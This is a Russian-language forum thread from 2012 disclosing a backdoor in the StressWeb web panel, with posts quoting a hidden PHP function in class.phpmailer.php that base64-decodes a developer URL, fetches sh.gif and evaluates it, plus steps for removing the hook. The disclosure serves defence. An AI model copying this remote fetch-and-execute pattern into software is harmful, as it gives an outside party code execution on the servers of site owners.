SHARK 39 Опубликовано 2 января, 2012 Найденная уязвимость в стресс вебе(stress web) v11 Данной уязвимости подвержены абсолютно все сайты, nulled и не nulled версий. Абсолютно любой сервер стоящий на stress web может быть взломан самим разработчиком Мы все понимаем, мы понимаем что разработчик тоже должен кушать и стремиться к защите своих авторских прав, но подобное не допустимо в коде столь популярного продукта. Вся беда в том, что данной уязвимости может быть подвержен даже лицензионный сайт и не важно платили вы или нет - ваша безопасность ровно на одном уровне. Ну теперь перейдем к самой уязвимости. Зашита она разработчиком, в классе PHPMailer, /inc/classes/class.phpmailer.php. Рассмотрим ее: private function shBody(){return file_get_contents($this->EncodeString($this->shHostname, 'base64dec'). 'sh.gif');} Значение shHostname - aHR0cDovL25ldy5zdHJlc3N3ZWIucnUv, после base64_encode принимает значение: http://new.stressweb.ru/ Вызывается эта функция вот так: PHPMailer::startSh()[псевдолинки shIsAuth()->shEval()->shBody()] В результате, если владелец stressweb по адресу new.stressweb.ru/sh.gif разместит вредоностный код, он сможет быть исполнен АБСОЛЮТНО НА ЛЮБОМ сайте с веб-обвязкой stressweb, абсолютно похеру, есть там лицензия или ее нет. А теперь реальный пример - захотел наш "stressweb" убить 1 фришку, заложил вредоностный код на своем сайте в sh.gif и пошел вайпить чей то сервер, умные ребятки в это время заметили этот код и пошли вайпить то, что они захотят ... или получать доступ к базам/конфигам и прочему. Вот вам яркий пример халатности разработчика. Лечение этой халатности: в файле /inc/classes/class.phpmailer.php удалить строку $SMTPsh->StartSH(); (находится в самом конце файла). UPD затычки: на всякий случай удалите вызов $this->shIsAuth() из функции StartSH() вдруг наш коварный разработчик внедрил вызов данной функции не только в этот класс, всякое бывает. Нашёл вот темку, чистите свои стрессы Автор темы VAAN Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
SHARK 39 Опубликовано 2 января, 2012 StressWeb 12 Чтобы убрать уязвимость, которую сделал StressWeb: В файле classes/class.phpmailer.php найти private function shBody(){ return file_get_contents($this->EncodeString($this->shHostname, 'base64dec'). 'sh.gif'); } Заменить на: private function shBody(){ return 1; } Эта уязвимость присутствует даже в оригинальном StressWeb и позволяет Stress'у инициализировать шелл-код путем розмещения его за адресом http://new.stressweb.ru/sh.gif И НЕ забываем в файле /inc/classes/class.phpmailer.php удалить строку $SMTPsh->StartSH(); (находится в самом конце файла). Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
pross 0 Опубликовано 2 января, 2012 Спасибо, гений =) Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты